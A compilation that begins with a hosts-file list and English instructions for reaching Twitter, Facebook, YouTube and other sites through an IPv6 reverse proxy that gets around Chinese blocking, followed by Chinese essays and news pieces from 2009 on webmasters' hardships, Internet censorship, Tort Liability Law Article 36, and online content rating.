2001:470:83f2::710:1 v19.lscache2.c.youtube.com
2001:470:83f2::710:1 v19.lscache3.c.youtube.com
2001:470:83f2::710:1 v19.lscache4.c.youtube.com
2001:470:83f2::710:1 v19.lscache5.c.youtube.com
2001:470:83f2::710:1 v19.lscache6.c.youtube.com
2001:470:83f2::710:1 v19.lscache7.c.youtube.com
2001:470:83f2::710:1 v19.lscache8.c.youtube.com
2001:470:83f2::710:1 v20.lscache1.c.youtube.com
2001:470:83f2::710:1 v20.lscache2.c.youtube.com
2001:470:83f2::710:1 v20.lscache3.c.youtube.com
2001:470:83f2::710:1 v20.lscache4.c.youtube.com
2001:470:83f2::710:1 v20.lscache5.c.youtube.com
2001:470:83f2::710:1 v20.lscache6.c.youtube.com
2001:470:83f2::710:1 v20.lscache7.c.youtube.com
2001:470:83f2::710:1 v20.lscache8.c.youtube.com
2001:470:83f2::710:1 v21.lscache1.c.youtube.com
2001:470:83f2::710:1 v21.lscache2.c.youtube.com
2001:470:83f2::710:1 v21.lscache3.c.youtube.com
2001:470:83f2::710:1 v21.lscache4.c.youtube.com
2001:470:83f2::710:1 v21.lscache5.c.youtube.com
2001:470:83f2::710:1 v21.lscache6.c.youtube.com
2001:470:83f2::710:1 v21.lscache7.c.youtube.com
2001:470:83f2::710:1 v21.lscache8.c.youtube.com
2001:470:83f2::710:1 v22.lscache1.c.youtube.com
2001:470:83f2::710:1 v22.lscache2.c.youtube.com
2001:470:83f2::710:1 v22.lscache3.c.youtube.com
2001:470:83f2::710:1 v22.lscache4.c.youtube.com
2001:470:83f2::710:1 v22.lscache5.c.youtube.com
2001:470:83f2::710:1 v22.lscache6.c.youtube.com
2001:470:83f2::710:1 v22.lscache7.c.youtube.com
2001:470:83f2::710:1 v22.lscache8.c.youtube.com
2001:470:83f2::710:1 v23.lscache1.c.youtube.com
2001:470:83f2::710:1 v23.lscache2.c.youtube.com
2001:470:83f2::710:1 v23.lscache3.c.youtube.com
2001:470:83f2::710:1 v23.lscache4.c.youtube.com
2001:470:83f2::710:1 v23.lscache5.c.youtube.com
2001:470:83f2::710:1 v23.lscache6.c.youtube.com
2001:470:83f2::710:1 v23.lscache7.c.youtube.com
2001:470:83f2::710:1 v23.lscache8.c.youtube.com
2001:470:83f2::710:1 v24.lscache1.c.youtube.com
2001:470:83f2::710:1 v24.lscache2.c.youtube.com
2001:470:83f2::710:1 v24.lscache3.c.youtube.com
2001:470:83f2::710:1 v24.lscache4.c.youtube.com
2001:470:83f2::710:1 v24.lscache5.c.youtube.com
2001:470:83f2::710:1 v24.lscache6.c.youtube.com
2001:470:83f2::710:1 v24.lscache7.c.youtube.com
2001:470:83f2::710:1 v24.lscache8.c.youtube.com

ATTENTION!
Friendfeed:
Logging into friendfeed.com needs HTTPS connection and there is no workaround now.

Posterous:
There are so many sub domains, add what you need yourself.

Twitter:
You can send mail to mytwitterclient@gmail.com to know how to register a twitter account.

By default,twitter.com uses HTTPS when logging in.Here is the workaround:
1. Access m.twitter.com, log in here.
2. Click the Standard button at the bottom of page to switch back to standard view.


Plurk:
By default, plurk.com uses HTTPS when logging in.Here is the workaround:
1. Access m.plurk.com, log in here.
2. Access plurk.com, you should be logged in.

Youtube:
Add an extra line in your hosts file:
2001:4860:c004::68 qwqy.vp.video.l.google.com
All access to vX.lscacheX.c.youtube.com will be 301 redirected to qwqy.vp.video.l.google.com
Sometimes there will be errors when enjoying your movies, just be patient and try again few minutes later.(This is not my fault, it's google's :-) )
If you cannot access to youtube.com, then you need refer to this link:
http://docs.google.com/Doc?docid=0ARhAbsvps1PlZGZrZG14bnRfNjFkOWNrOWZmcQ

Bullogger.com:
Add the corresponding sub domains in your hosts file.
e.g if you want to access this page: username.bullogger.com, add this line in your hosts file:
2001:470:83f2::710:1 username.bullogger.com

Facebook.com:
Report if you found a css or javascript is on a server not reverse-proxyed.

How to log in to facebook without HTTPS:

1. install firefox. FUCK OFF IF YOU DON'T WANT TO!
2. install this extension. FUCK OFF IF YOU DON't WANT TO!
3. go to http://m.facebook.com/login.php?http and log in here.
4. That's all, you can only access to m.facebook.com and touch.facebook.com because they don't share the same cookie with www.facebook.com
5. Don't satisfied? THEN FUCK OFF!

Wretch.cc:
Add the sub domains yourself.
All .wretch.cc subdomains is reverse-proxied.

Jason Ng：个人站长之痛

作者：Jason Ng   来源：可能吧

为了世界和平，请谨慎留言！

在中国从事互联网行业的人最近大概都感到沮丧，因为中国近期的一系列动作和政策让国内互联网蒙上了一层阴影：BT搜索网站被关，个人不允许注册CN域名……

还有各种传闻让人感到不安：中国可能会在明年实行互联网白名单制度，所有中国人开设的中文内容网站不管服务器是在境内还是境外，不备案在中国将无法访问。

实际上中国站长承受的痛楚不止这些，盈利难也是中国站长的痛。另外，一个又一个的中国特色路障摆在了站长们面前。在中国，做一个网站真不是一件容易的事。

一、盈利难

多少中文站长看着英文网站的广告费留下口水，多少中文blogger看着Techcrunch、ReadWriteWeb感到沮丧。

1、广告单价低

对于个人站长来说，盈利模式不外乎以下几种：联盟广告、其它展示广告、软文、增值服务。

不管是那种形式的广告，中文网站能获得的收入都远远不及英文网站，拿Adsense来说，英文Adsense广告单价往往是中文的5-10倍。2008年前被病毒式投放的Firefox广告（Adsense推介），中国IP每点击一次的价格是0.1美元，美国IP每点击一次是1美元。所以很多中国站长都将眼光放到了英文内容上，做英文网站-赚外国人的钱。

中文互联网广告单价低可能由3方面原因造成：

（1）互联网发展未够成熟，广告市场还有巨大的可挖掘空间。

（2）中文互联网点击广告作弊严重，单价因此被压低。

（3）中文互联网内容质量低、垃圾信息充斥，广告价值不高。

2、恶劣的广告

站长们为了提高自己的收入，纷纷采用了欺诈手段，想不到的是，很多广告主也配合地对用户进行了欺诈。最经典的例子来自下载网站：

上图是某知名下载站软件介绍旁边的广告，当你以为这是下载链接时，其实它是某个产品的图片广告，不管你点的是"网通下载"还是"电信下载"，下载下来的都是同一个你根本不知道的软件，到了安装的时候你才发现原来你下载了一个无用的东西。

如果你躲过了前面这一次"欺诈"，后面还有另一个等着你。同样是前面截图中的某下载站的页面，将页面往下拉会看到这一块：

同样的，不管你点的是"网通下载"还是"电信下载"，下载下来的还是同一个你根本不知道的软件。

等等，你是否还留意到截图里有这么一句话："依次点击下面的广告进入XXX软件下载"，这也是一种欺诈行为，因为浏览者根本不知道链接后隐藏的是病毒还是裸体美女。

上面的劣质广告只是中国互联网的一个典型例子，有一定网龄的网民肯定上过类似的当。或许我们会不解，这种欺诈用户的行为对广告主也会造成伤害，为什么广告主还会这些网站狼狈为奸呢？

当你撒下大网，你总能抓到水鱼。广告主深知这个道理。这样就导致了广告的单价偏低，因为可能10000个被欺诈点击的用户里，只有2个对下载下来的"不知名"软件有兴趣。广告主不可能付10000个有效点击的费用。

类似的欺诈广告还有很多，正是这些广告降低了中文互联网的广告质量，后来者不得不同样采用欺诈的方式来获得收入，因为他们发觉不将"前列腺炎治疗药"改成"让你的女人更性福"似乎都赚不了钱。

3、贪婪的中国网民

中国网民是贪婪的，大多数网民宁愿每天吃饭多花10块钱，也不愿意在互联网上消费1块钱。这就是为什么Google中国要推出免费音乐下载，因为收费音乐在中国根本行不通，网民们认为互联网是免费的、网站应该为他们服务、博客应该为他们而写、windows应该免费给他们使用、网站不应该投放广告�似乎互联网从业者不需要生存，要义务地为网民提供服务。

Apple iTunes Store的模式在中国不可能成功，免费、盗版的思想早在网民中根深蒂固。站长想要通过增值服务来盈利必须绞尽脑汁。这方面你不得不佩服腾讯，腾讯几乎将所有符合中国特色的盈利点都找了出来。但个人站长想要用户付费谈何容易？

二、"个人"之弱

今天伺候菩萨，明天供奉如来。后天哪个神仙要收你保护费你还根本不知道。

中国互联网的政策是多变的，今天广电总局说没有视听许可证就不能提供视频服务，明天工信部说没有备案的CN域名要全部收回。当你庆幸自己的网站既没有视频音频，域名也不是.cn时，后天版署出台一个规定说个人网站不得翻译国外的新闻，因为你的网站某个网页里提了一句"CNN报道称……"，于是你的网站被关闭了。

你永远捉摸不出他们在做什么，甚至你还不知道"这些他们"到底是"哪些他们"。

有时你还会发现，你和小明同样做了一件事，老师说你做错了要罚站，而小明却继续做着那件事。

BTchina只是一个提供BT种子搜索的服务，它本身并不存储影视文件，按照这种理解，它应该是没有侵犯版权人权利的。但它确实有侵权的嫌疑，因为它给盗版下载者指引了获得盗版的路径。所以BTChina被关了。

但同样提供盗版音乐下载的百度MP3搜索为什么还活着？

原因很简单，李彦宏有4000万可以上央视，BTChina你有么？个人站长死掉只因为他挂着"个人"这个修饰词。

三、世界上最遥远的距离

世界上最遥远的距离不是你和我的距离，也不是南极和北极的距离。而是电信和联通的距离，或者说是各种线路之间的距离。

其实教育网与外网的距离更遥远。

2006年-2008年，"世界上最遥远的距离是电信和网通的距离"这句话在站长世界里无人不知，因为如果服务器放在电信线路的机房里，网通用户访问的速度就极慢，反之亦然。

虽然现在电信运营商已经进行了重组，但不同线路之间的访问速度依然没有得到太大的改善，因此我们依然可以看到空间服务商标出的线路选择方案：

站长在选择线路时尤为心痛，电信、网通（联通）线路都相对便宜，但双线、BGP线路就相当昂贵，但为了让所有用户都获得高速的浏览体验，又不得不破费。那么，选择外国的线路如何？不要忘记，还有一大帮学生网民生活在水深火热的教育网之中，选择外国线路就意味着放弃了他们。

另外，服务器放到外国还不得不天天提心吊胆，怕某一天网站突然无法访问。

我一直无法理解运营商之间是如何做到互联而不通的，也一直无法理解教育网为什么不开放访问国外的网站。或许很多站长都无法理解，只能默默地接受这种现实。

四、备案难

我曾经在中国特色里做了一张比较图，美国最大的门户网站Yahoo!的底部是版权信息，而中国最大的门户网站新浪底部是一系列的备案号码，如下图：

证件信息如下：

1. 文网文［2008］055号
2. 新出网许（京）字009号
3. 网络视听许可证0105082号
4. 互联网新闻信息服务许可
5. 国家药监局（京）-经营性-2009-0011
6. 京教研[2002]7号
7. 电信业务审批[2001]字第379号
8. 增值电信业务经营许可证B2-20090108
9. 电信与信息服务业务经营许可证000007号
10. 卫网核总第21号
11. 广播电视节目制作经营许可证（京）字第828号
12. 京ICP证000007

不要被这些证件吓怕，个人网站需要办理的证件没有那么多，但谁也不能保证是否以后在个人网站上嵌入一个视频也要办理"视听许可证"，是否转载新闻就要办理"互联网新闻信息服务许可"，是否提供中文内容就要办理一张"中文网络准入证"……而办理这些证件都"个人"站长来说又是一大难题。

我们先不讨论这么长远的事情，就目前而言，每个网站都必须有一个备案：信产部ICP备案。如果你在可能吧网站内阅读，可以按下Ctrl+End键看到可能吧的备案号码。

我们暂且不讨论网站备案是为了保护站长利益还是为了更好地让关部门抓捕"违法"站长，先看看到信产部备案的难度有多大。

上图是某网友备案被拒绝后的截图。截图显示该站长2007年10月14日提交了备案申请，工信部于2009年3月18日拒绝了她的请求。时隔一年半，这位网友等到了一个杯具。

实际上工信部备案网站可能是中文互联网上Page Rank最高，而用户体验最差的网站。PR高是因为每个备案的网站都要给工信部备案网站一个反链，体验差是因为：

1、备案流程超长

前面的截图已经说明一切。

2、IE Only

在IE下，网站是这样的：

而在Firefox下网站的UI是这样的：

而且左侧的栏目还不能展开。

3、联系手机不支持18开头手机

所以3G号码基本上是无法备案的。

4、固话号码归属地要和身份证地址一致

很多站长都漂泊在外地，但户口没有变更，固定电话归属地怎能和身份证地址一致？

5、变更服务器信息需要服务商修改

个人用户无法修改网站所在服务器的信息，要通知托管商来修改，而托管商一般都不太愿意搭理个人用户。

工信部作为管理先进科技行业的部门，网站做得如此之差实在不应该。想备站长不是不案，而是无法顺利备案，作为个人站长，我诚心希望工信部改进备案系统。

五、审查之痛

自从有了互联网，信息的管制变得异常困难。以往你可以控制报纸、控制电视、控制广播，但从来没有根本的手段可以控制互联网。

饭否关闭至今仍然不能重开是因为他们没有一个负责审核的专门人员，不能及时删除敏感信息。新浪微博之所以能坚持下来，很大一方面原因在于新浪微博有专门的团队在做审核工作，一旦发现不该出现的信息，立即删除。我的新浪微博因此被屏蔽发言：

在中国，你要做一个web2.0网站，不但需要创意、人力、财力，还需要一个负责审核信息的团队。这和美国是不一样的。这样无疑给个人站长或小团队做web2.0网站带来了障碍，因为他们根本不可能顾及到那么多，尤其当用户增多时、信息增多时，审查是一项烦躁的、大量的工作，没有一定的资金支持是无法坚持做下去的。

个人博客和论坛在中国正在也即将面临巨大的考验，很有可能政府部门会要求博客审核每一条读者的留言，但这对于个人博客来说是不可能的，对于个人站长开设的论坛也是不可能的。

六、个人站长之痛

可能这篇文章会略带敏感，但无论如何，作为一个中国站长，我深深体会到上面所说的一切。

中国互联网已经滞后于美国互联网了，我不希望看到它回到2000年的原点重新发展，中国互联网不能再滞后下去。

中国的个人站长不但盈利困难，同时可能会受到一些无妄之灾，你的网站可能没有犯一点"错"，因为和你同在一台服务器的另一个网站涉及了政治信息，你的网站也被连累关掉，这有点类似于古代的连坐制度。

但是，个人站长又不能强行将网站搬到外国去，一方面是为了让教育网用户能够顺利访问，另一方面也为了苟且地生存。所以不要再问我为什么不把可能吧搬到外国去这样的傻问题。昨天我被通知要删除9篇文章，一次性被强奸9轮，我痛了。

胡泳：网络侵权立法，谁会得益？

作者：胡泳  来源：http://huyong.blog.sohu.com/141556592.html

 

2009年12月26日第十一届全国人民代表大会常务委员会第十二次会议通过了《侵权责任法》。此前，在全国人大网公布该法草案，向社会公开征集意见的时候，一些宪法、民法、传播学及传播法等领域的学者曾在去年12月初召开“侵权责任法（草案）‘互联网专条’研讨会”，对其中涉及网络侵权的第三十六条（俗称“互联网专条”）提出若干建设性意见。尽管学者们对实施这样的规定来减少网络侵权行为、净化网络环境的初衷表示理解，但就“互联网专条”能否实现这样的立法意图，却表示了怀疑。

现在，《侵权责任法》正式通过了，第三十六条并未接受这些学者们的意见，其全文如下：

网络用户、网络服务提供者利用网络侵害他人民事权益的，应当承担侵权责任。

网络用户利用网络服务实施侵权行为的，被侵权人有权通知网络服务提供者采取删除、屏蔽、断开链接等必要措施。网络服务提供者接到通知后未及时采取必要措施的，对损害的扩大部分与该网络用户承担连带责任。

网络服务提供者知道网络用户利用其网络服务侵害他人民事权益，未采取必要措施的，与该网络用户承担连带责任。

为什么这样的规定不合适呢？传播法专家王四新等学者指出：第一，它有可能损害互联网产业的健康发展。原因是，它给网络服务提供者施加了过宽过重的审查义务。过宽意即给网络服务提供者施加了本来不应当承担的义务，过重意即对网络服务提供者应当承担的责任超出了其应当承受的份额和范围，属于“苛责”。网络服务提供者为网络用户提供的服务，有些是网络服务提供者知道并且能够控制的，但也有很多是它们无法知道且无法控制的，在这种情况下，让网络服务提供者与违法用户承担连带责任，将置网络服务提供者于非常危险的境地。这除了会增加其运营成本外，还给服务提供者带来了经营风险。允许这种情况发生，损害的将不仅仅是个别的网络服务提供商，还会对中国正在蓬勃发展的互联网产业，带来难以估量的损失。

第二，它有可能损害到公共利益。在促进政府信息公开、确保政府高效运作乃至反腐倡廉方面，互联网都发挥着其他任何传统媒体所不可能发挥的重要作用。而互联网能够发挥这样的作用，与网络服务提供者提供的各种各样的服务密切相关。因此，如果第三十六条为网络服务提供者施加不必要的注意义务，并且不加区别地要求网络服务提供者承担第三方实施的侵权责任，会使小的网络服务提供者破产，使大的网络服务提供者承担过重的经济责任。这样，必然会降低网络作为公共表达平台的质量，影响到公共利益，从长远来看，也必然会对中国的民主政治产生负面影响。

第三，网络侵权问题不仅仅是个民法问题，还是个宪法问题。目前来看侵权法完全是从民法角度立的，而没有考虑宪法。中华人民共和国宪法第三十五条规定公民享有言论、出版等政治权利和自由，第四十一条规定公民有权对国家机关及其公职人员提出批评、建议、控告、申诉。互联网及网络服务提供者提供的多种多样的服务，尤其是采用匿名的方式寻求、接受和传播各种消息和思想的服务，使宪法第三十五条和第四十一条规定的权利和自由的行使，获得了前所未有的技术支持。但《侵权责任法》第三十六条却有可能对公民享有的宪法权利造成一系列侵害：例如，限制网络服务提供者提供更多的信息的做法，会不会也限制了公民依法享有的言论自由权？当官员以侵犯自身民事权益为由要求网络服务提供者删除、屏蔽对他们不利的内容时，会不会损害到公民对国家机关公职人员的监督权的行使？

       对这些看法，或许也存在争议，然而法律既然已经通过，更应该关注的是它的可操作性。在半年内会不会出台司法解释或实施细则？网络侵权的法律责任如何细化，将值得我们仔细观察。特别值得注意的是，在这样的制度框架下，网络服务提供者和用户会做出什么样的选择？如果出现了诉讼，法官以什么理由作何种判决？如果此一法律在互联网实践中被严格执行，又会出现什么样的后果？

       最近有两条新闻：12月20日，呼伦贝尔市人民检察院对阿荣旗人民检察院检察长刘丽洁乘坐“豪车”问题做出决定，给予刘丽洁党内警告和行政记过处分，刘丽洁请辞检察长，她成了近年来继周久耕、林嘉祥等之后又一个被网友举报“拉下马”的官员；12月23日，备受关注的“人肉搜索第一案”尘埃落定，网上发帖的始作俑者在终审时被判侵害了王菲的名誉权，要对王菲赔礼道歉并赔偿精神损害抚慰金。

由这两条新闻可以看出，评价“互联网专条”的好坏将会是一个复杂的问题。如同传播法专家徐迅所指出的，如果未来由此获益的是王菲类的小人物，当然很好，网络内容会变得更文明些；如果受益的是周久耕一类问题官员，就会是最糟糕的结果，因为刚刚在网络上出现的对宪法四十一条的精彩实践可能因侵权法这一专条的出现戛然而止。

所以，我们呼吁，在今后出台的有关侵权法的司法解释或实施细则中，一定要保持平衡，既要小心保护言论自由与舆论监督的权利，又要兼顾民事权益不被侵害。

胡泳：网络内容分级管理并不容易

作者：胡泳  来源：http://huyong.blog.sohu.com/141317434.html

 

网络内容分级管理并不容易

胡泳

 ■ 网络胡话之胡泳专栏

文化部官员最近称，相关部委正在研究网络内容分级管理。其实，提起分级，我们首先想到的会是电影分级和电视分级。这两件事情都已经吵嚷多年了，但至今仍然悬而未决。在讨论网络内容分级管理的时候，让我们先来问一下：是什么阻碍了中国的影视分级？对这个问题的回答，一定会影响到网络内容的分级。

影视分级制度的实行，是政府、行业组织、影视节目制片方、放映机构、观众等多方参与的一种存在利益选择的行为。它的初衷，是将含有凶杀、暴力、色情、淫秽等内容的节目设置为限制级，而这种限制在保护两种人的权利方面具有正当性：一是未成年人，这样做可以避免青少年身心发展受到不良的影响；一是不同意的成年人，他们有权选择不被暴露在令其感到厌恶的信息环境之中。通过标示的等级，可以事先告知成年人，使其在充分信息条件下进行选择，以防止他们在不知情的情况下受到冒犯。　

这两个出发点都很好，为什么影视分级在我国却“千呼万唤不出来”？纵观这些年围绕影视分级的争议，大致可以归结为以下一些原因：

第一，影视管理机构还没有做好足够的准备，完成从审查制到分级制的过渡。说到分级，人们立刻会作出一种反应：在所定级别范围内，是否可以合理合法地表现色情和暴力？观众是否也就拥有了某种观看这些内容的权利？分级既然对各种节目的制作尺度提出规定，那么规定其实也就是自由。影视管理机构有意愿和能力面对这种“自由”的挑战吗？2008年3月，国家新闻出版总署署长柳斌杰曾明确表示，中国暂时不会对影视作品实行分级管理，因为如果实行分级管理，等于承认淫秽色情可以大量出版。这清楚地表明，管理层并不希望放弃内容审查和把关，而单独依靠影视分级制来决定节目适合给谁看。况且，影视的审查是一种政府行为，而影视的分级，按照国外的惯例，是由行业协会来负责的，让政府把这样一种权力让渡到民间并不容易。

第二，市场管理的不成熟，也导致分级制度难以出台。管理跟不上，分级制度就会如同虚设。比如，如果电影院为了经营收入而将限制级电影票卖给未成年人怎么办？街面上或网络上的商贩，会告诉青少年要分级购买碟片吗？在管理实行不了的情况下，限制级内容反而会成为炒作对象，就像上世纪八十年代末，根本没有出格情节的电影《寡妇村》在上映前，却大打“儿童不宜”的告示。

第三，尽管对于影视内容的监管已有各种条例规定，但要准确地根据公众接受度、法律等因素划定暴力、情色等界限，却是一个十分模糊的地带。例如，黄色、淫秽、色情在我们这里完全搅成一锅粥。低俗、不良等等概念，也更多是政策上或者道德上的，在法律上缺乏确定性。而由此带来的管理上的“混沌”，从某种程度上说，可能还是有些部门特别希望保持的状态。一旦明确了分级制度，就必须制定明确的、对社会公开的标准，这些标准不会因为个别部门的意见、个别领导的好恶、国内外形势的变化和临时性的政策而改变。对管理部门而言，这样肯定会给将来的博弈带来不确定性。稳妥的办法是根本回避分级的问题，强调那些不健康内容的危害性，从而保持管理的弹性空间。

既然影视分级制度遭遇这么多的障碍，凭什么认为网络内容的分级就可以跨越这些障碍呢？无论是电影还是电视业的分级制，其执行的复杂程度都无法与对网络的监控相提并论。电影公司和电视台的数目都是有限的，也就几十家到几百家，但全国却有上亿互联网用户。设立专门机构对每年数百部电影的内容进行审查是可行的，对数百家电视台的分级行为是否正当作出判定也并不特别困难，但这些办法用于互联网监管却不会有很好的效果。

因为网络中的亿万用户，无论公司、机构或个人，既是信息服务的接受者，又是信息的提供者。当前在互联网上传播色情和暴力信息的主要是个人而非机构，而对于来自个人的信息进行严格管理几乎是不可能的。加大监管，彻底遏制不良信息在网络上的蔓延，这种思路有着良好的出发点，但却忽略了可能产生的问题。比如，在寻求保护青少年利益的同时，是不是践踏了全社会的利益？会不会影响言论的多样化以及信息的自由流通？分级制度只是一个工具，其所体现的对言论自由的保护与限制的宪法精神，才是真正的价值所在。如果我们没有厘清分级制度背后的指导思想，就无法真正确立科学的分级制度。

中国是一个缺乏言论表达的国度，政府又一向十分强势，因此，对于任何依靠从上而下的手段规范网络发展的提议都应十分慎重。在这个意义上，我并不看好正在“研究”当中的网络内容分级制度。

原载《南方都市报》 2009-12-23 版次：AA31 版名：个论
此为未删节版

侵权责任法未明确界定网络监督与网络侵权引担忧

来源：新华每日电讯   转自：中新网

 

被“网络侵权”后，您知道怎样删帖维权吗？

　　被侵权人有权通知网络服务提供者采取删除、屏蔽、断开链接等必要措施。网络服务提供者接到通知后未及时采取必要措施的，对损害的扩大部分与该网络用户承担连带责任

　　最近有两条新闻引起我们的关注：12月20日，呼伦贝尔市人民检察院对阿荣旗人民检察院长刘丽洁“开豪车”问题做出决定，给予刘丽洁党内警告和行政记过处分，刘丽洁请辞检察长，她成了近年来又一个被网友举报“拉下马”的官员；同样是在网上发帖，“人肉搜索第一案”的始作俑者，则在终审时被判侵权并处罚金。

　　这两件事并非全无联系，相反，它们共同说明了这样一个问题：一方面，网络既给了我们更加广阔的言论空间，将我们的博客、论坛和社区网站都成了传递信息的麦克风；另一方面，真假莫辨的信息未经筛选就汇入了互联网世界，可能侵犯一些人的合法权利，需要适当的规范。

　　针对这个问题，12月26日通过的《侵权责任法》相关规定，或许能让这种乱象有所改善。《侵权责任法》第三十六条明确规定：网络用户、网络服务提供者利用网络侵害他人民事权益的，应当承担侵权责任。

　　《侵权责任法》是一大进步

　　作为民法九编中的一编，《侵权责任法》的通过意味着中国向形成民法典又迈进重要一步。

　　对此，有专家表示，这是继《物权法》之后，民法典中另一部重要的支架性法律，对保护公民、法人的合法权益，明确侵权责任，预防并制裁侵权行为，化解社会矛盾，减少民事纠纷，促进社会公平正义具有重要意义。

　　具体到规范网络侵权责任的“第三十六条”，《侵权责任法》在网络侵权问题上确立了两个规则，一是提示规则，即“网络用户利用网络服务实施侵权行为的，被侵权人有权通知网络服务提供者采取删除、屏蔽、断开链接等必要措施。网络服务提供者接到通知后未及时采取必要措施的，对损害的扩大部分与该网络用户承担连带责任”。二是明知规则，即“网络服务提供者知道网络用户利用其网络服务侵害他人民事权益，未采取必要措施的，与该网络用户承担连带责任”。

　　《北京青年报》评论就指出，以上两个规则，既规范了网民在网络上的言论自由，又规范了网站的审查责任，还平衡了网站与受害人之间的利益。《侵权责任法》对网络侵权问题的立法明确，对于保障公民的合法权益和规范虚拟网络世界，将起到积极的作用。

　　以后还敢发帖吗

　　但是，公民通过网络对公共利益予以监督，与网络恶意诽谤存在实质区别。如果单以保护隐私权为由，达到屏蔽网络监督的目的，势必造成公共利益的风险。

　　有法律专家认为，新颁布的《侵权责任法》未能界定“网络监督公共利益”与“网络民事侵权”的区别，“不能有效平衡网络监督与网络侵权”。

　　因为没有“明确界定”，网友难免有这样的担心：以后自己发帖检举某些官员的不法行为，估计马上就会有人出来向网站提出异议，声称自己的隐私遭到侵害，或者咬定举报失实、侵害名誉权，而网站为了避免《侵权责任法》中规定的连带责任，最好的办法就是赶紧将帖子予以删除。如此一来，还会有“周老虎”“周至尊”等事件吗？

　　网络侵权与网络监督，宜区别对待

　　北京大学新闻与传播学院副教授胡泳也认为，“笼统规定网络表达者、尤其是网络服务商的侵权责任，无疑会使刚刚兴起的网络监督夭折，危害公民的言论自由和舆论监督空间。”

　　人大代表王明雯在接受《检察日报》采访时表示，在明年的两会上，她将提议“尽快出台司法解释或实施细则”等建议，使法律更具可操作性。

　　也有媒体建议，相关法律对网站适用的“提示规则”“明知规则”，在网络监督方面，应当有所考虑并区别对待。

　　凯迪网络一位网友说：“作为网民，在过去、现在抑或将来我们关注很多事，很多人，很多现象，我们会发原创帖，也会转载一些帖子。作为公众，我们有权利质疑，包括对当事人、对相关方面，太多的事情我们不明真相，所以我们需要了解。”

　　我们希望《侵权责任法》的“互联网专条”能够给网络世界带来一股清风，更希望越来越多的网络监督推动社会的进步。

　　-日阅谭 整合/易艳刚（新华每日电讯观察员）